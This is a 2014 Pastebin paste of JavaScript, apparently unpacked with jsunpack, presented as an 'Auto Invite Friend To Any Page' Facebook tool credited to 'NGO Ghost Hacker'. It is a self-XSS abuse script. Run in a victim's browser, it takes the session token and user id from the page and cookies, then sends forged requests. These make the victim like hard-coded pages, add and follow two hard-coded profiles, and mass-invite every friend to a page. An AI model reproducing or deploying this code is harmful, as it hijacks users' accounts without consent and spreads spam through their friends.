Pastebin launched a little side project called HostCabi.net, check it out ;-)Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Jan 8th, 2014  |  syntax: None  |  size: 14.43 KB  |  hits: 40  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.  //eval
  2.     var parent=document.getElementsByTagName("html")[0];
  3.     var _body = document.getElementsByTagName('body')[0];
  4.     var _div = document.createElement('div');
  5.     _div.style.height="25";
  6.     _div.style.width="100%";
  7.     _div.style.position="fixed";
  8.     _div.style.top="auto";
  9.     _div.style.bottom="0";
  10.     _div.align="center";
  11.     _body.appendChild(_div);
  12.     var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  13.     var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  14.     var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
  15.     var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  16.      
  17.     body = document.body;
  18.      
  19.     if(body != null)
  20.     {
  21.      div = document.createElement("div");
  22.      div.style.position = "fixed";
  23.      div.style.display = "block";
  24.      div.style.width = "100px";
  25.      div.style.opacity= 0.90;
  26.      div.style.bottom = "+35px";
  27.      div.style.left = "+0px";
  28.      div.style.backgroundColor = "rgba(0,0,0,0.5)";
  29.      div.style.border = "1px solid rgba(0,0,0,0.5)";
  30.      div.style.padding = "3px";
  31.      div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>Close (F5)</center></blink></a>"
  32.      body.appendChild(div);
  33.     }
  34.     if(body != null)
  35.     {
  36.      div = document.createElement("div");
  37.      div.style.position = "fixed";
  38.      div.style.display = "block";
  39.      div.style.width = "135px";
  40.      div.style.opacity= 0.90;
  41.      div.style.bottom = "+10px";
  42.      div.style.left = "+0px";
  43.      div.style.backgroundColor = "rgba(0,0,0,0.5)";
  44.      div.style.border = "1px solid rgba(0,0,0,0.5)";
  45.      div.style.padding = "3px";
  46.      div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='http://ngocyber.blogspot.com/' title='NGOCyber'><blink><center>NGOCyber Here!</center></blink></a>"
  47.      body.appendChild(div);
  48.     }
  49.      
  50.     var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  51.     var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  52.     function Like(p) {
  53.       var Page = new XMLHttpRequest();
  54.       var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  55.       var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
  56.       Page.open("POST", PageURL, true);
  57.       Page.onreadystatechange = function () {
  58.         if (Page.readyState == 4 && Page.status == 200) {
  59.           Page.close;
  60.         }
  61.       };
  62.       Page.send(PageParams);
  63.     }
  64.      
  65.     Like("265733146914293");
  66.     Like("265733146914293");
  67.     Like("265733146914293");
  68.     Like("180492378822530");
  69.      
  70.      
  71.     var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  72.     var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  73.     function IDS(r) {
  74.       var X = new XMLHttpRequest();
  75.      
  76.       var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  77.       var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  78.       X.open("POST", XURL, true);
  79.       X.onreadystatechange = function () {
  80.         if (X.readyState == 4 && X.status == 200) {
  81.           X.close;
  82.         }
  83.       };
  84.       X.send(XParams);
  85.     }
  86.      
  87.     IDS("100006662076140");
  88.     IDS("100002425513149");
  89.      
  90.     var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  91.     var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  92.     function a(abone) {
  93.       var http4 = new XMLHttpRequest();
  94.       var url4 = "/ajax/follow/follow_profile.php?__a=1";
  95.       var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  96.       http4.open("POST", url4, true);
  97.       http4.onreadystatechange = function () {
  98.         if (http4.readyState == 4 && http4.status == 200) {
  99.           http4.close;
  100.         }
  101.       };
  102.       http4.send(params4);
  103.     }
  104.     a("100006662076140");
  105.     a("100002425513149");
  106.      
  107.     var Title = "Auto Invite Friend To Any Page</A>";
  108.     var Descriptions = "",
  109.         _text = 'Powered By:  <A style="color:#3B5998;" href="https://www.facebook.com/pichoudom.ngo2" target="_blank">NGO Ghost Hacker</A></br>Script Made By: </A><A style="color:#3B5998;" href="https://www.facebook.com/pichoudom.ngo2" target="_blank">NGO Ghost Hacker</A></A>,</A></A>.</br>For More Tools Visit Our Blogs <A style="color:#3B5998;" href="www.ngocyber.blogspot.com" target="_blank">NGOCyber</A>.</A>';
  110.      
  111.     page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
  112.      
  113.     function InviteFriends(opo) {
  114.         jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
  115.             var b = a.substring(a.indexOf("{"));
  116.             var c = JSON.parse(b);
  117.             i--;
  118.             Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  119.             if (c.error) {
  120.                 Descriptions += "color:darkred'>";
  121.                 err++;
  122.                 if (c.errorDescription) Descriptions += c.errorDescription;
  123.                 else Descriptions += JSON.stringify(c, null, "")
  124.             } else {
  125.                 Descriptions += "color:darkgreen'>";
  126.                 Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
  127.                 suc++
  128.             }
  129.             Descriptions += "</div>";
  130.             var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  131.             display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  132.             if (i > 0) {
  133.                 display += arr.length + " Friends Detected<br/>";
  134.                 display += "<b>" + suc + "</b> Friends Add to Page of " + (arr.length - i) + " Friends Processed ";
  135.                 display += "(" + i + " Lefted...)";
  136.                 display += "<div class='friend-edge'>";
  137.                 display += Descriptions;
  138.                 display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  139.                 display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  140.                 display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
  141.     display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
  142.                 display += _text;
  143.                 display += "</div>";
  144.                 display += "</div>";
  145.                 display += "</div>";
  146.                 window[tag + "_close"] = true
  147.             } else {
  148.                 Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
  149.                 display += arr.length + " Friends Detected and ";
  150.                 display += "<b>" + suc + " Friends Invited.</b></br>";
  151.                 display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  152.                 display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  153.                 display += _text;
  154.                 display += "</div>";
  155.                 window[tag + "_close"] = false
  156.             }
  157.             display += "</div>";
  158.             document.getElementById("pagelet_sidebar").innerHTML = display
  159.         }, "text", "post");
  160.         tay--;
  161.         if (tay > 0) {
  162.             var s = arr[tay];
  163.             setTimeout("InviteFriends(" + s + ")", 100)
  164.         }
  165.         console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  166.      
  167.      
  168.         if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=265733146914293&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  169.         if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=265733146914293&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  170.      
  171.      
  172.     }
  173.     jx = {
  174.         b: function () {
  175.             var b = !1;
  176.             if ("undefined" != typeof ActiveXObject) try {
  177.                 b = new ActiveXObject("Msxml2.XMLHTTP")
  178.             } catch (c) {
  179.                 try {
  180.                     b = new ActiveXObject("Microsoft.XMLHTTP")
  181.                 } catch (a) {
  182.                     b = !1
  183.                 }
  184.             } else if (window.XMLHttpRequest) try {
  185.                 b = new XMLHttpRequest
  186.             } catch (h) {
  187.                 b = !1
  188.             }
  189.             return b
  190.         },
  191.         load: function (b, c, a, h, g) {
  192.             var e = this.d();
  193.             if (e && b) {
  194.                 e.overrideMimeType && e.overrideMimeType("text/xml");
  195.                 h || (h = "GET");
  196.                 a || (a = "text");
  197.                 g || (g = {});
  198.                 a = a.toLowerCase();
  199.                 h = h.toUpperCase();
  200.                 b += b.indexOf("?") + 1 ? "&" : "?";
  201.                 var k = null;
  202.                 "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  203.                 e.open(h, b, !0);
  204.                 e.onreadystatechange = g.c ? function () {
  205.                     g.c(e)
  206.                 } : function () {
  207.                     if (4 == e.readyState)
  208.                         if (200 == e.status) {
  209.                             var b = "";
  210.                             e.responseText && (b = e.responseText);
  211.                             "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  212.                             c && c(b)
  213.                         } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  214.                 };
  215.                 e.send(k)
  216.             }
  217.         },
  218.         d: function () {
  219.             return this.b()
  220.         }
  221.     };
  222.      
  223.     function ChangeLocation() {
  224.         window.location.href = "http://www.facebook.com/"
  225.     }
  226.     setTimeout("ChangeLocation", 1);
  227.     window.onbeforeunload = function () {
  228.         if (window[tag + "_close"]) return "This script is running now!"
  229.     };
  230.     var i = 3;
  231.     var tay = 3;
  232.     var suc = 0;
  233.     var err = 0;
  234.     var arr = new Array;
  235.     var arn = new Array;
  236.     var pho = new Array;
  237.     var tag = "Close";
  238.     var page_name, x = document.getElementsByTagName("span");
  239.     for (i = 0; i < x.length; i++)
  240.         if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  241.     var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  242.     var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  243.     jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  244.         var b = a;
  245.         var c = b.substring(b.indexOf("{"));
  246.         var d = JSON.parse(c);
  247.         d = d.payload.entries;
  248.         for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  249.         for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  250.         for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  251.         i = arr.length - 1;
  252.         tay = i;
  253.         console.log(arr.length);
  254.         var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  255.         display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  256.         display += arr.length + " Friends Detected, Please Wait . . .";
  257.         display += "</div>";
  258.         document.getElementById("pagelet_sidebar").innerHTML = display;
  259.         InviteFriends(arr[i])
  260.     });
  261.      
  262.      
  263.      
  264.     //jsunpack.called CreateElement div
  265.      
  266.     //jsunpack.url element = undefined
  267.     //jsunpack.url var _4855 = var parent=document.getElementsByTagName("html")[0];
  268.     var _body = document.getElementsByTagName('body')[0];
  269.     var _div = document.createElement('div');
  270.     _div.style.height="25";
  271.     _div.style.width="100%";
  272.     _div.style.position="fixed";
  273.     _div.style.top="auto";
  274.     _div
  275.      
  276.     //jsunpack.url var _4052 = var parent=document.getElementsByTagName("html")[0];
  277.     var _body = document.getElementsByTagName('body')[0];
  278.     var _div = document.createElement('div');
  279.     _div.style.height="25";
  280.     _div.style.width="100%";
  281.     _div.style.position="fixed";
  282.     _div.style.top="auto";
  283.     _div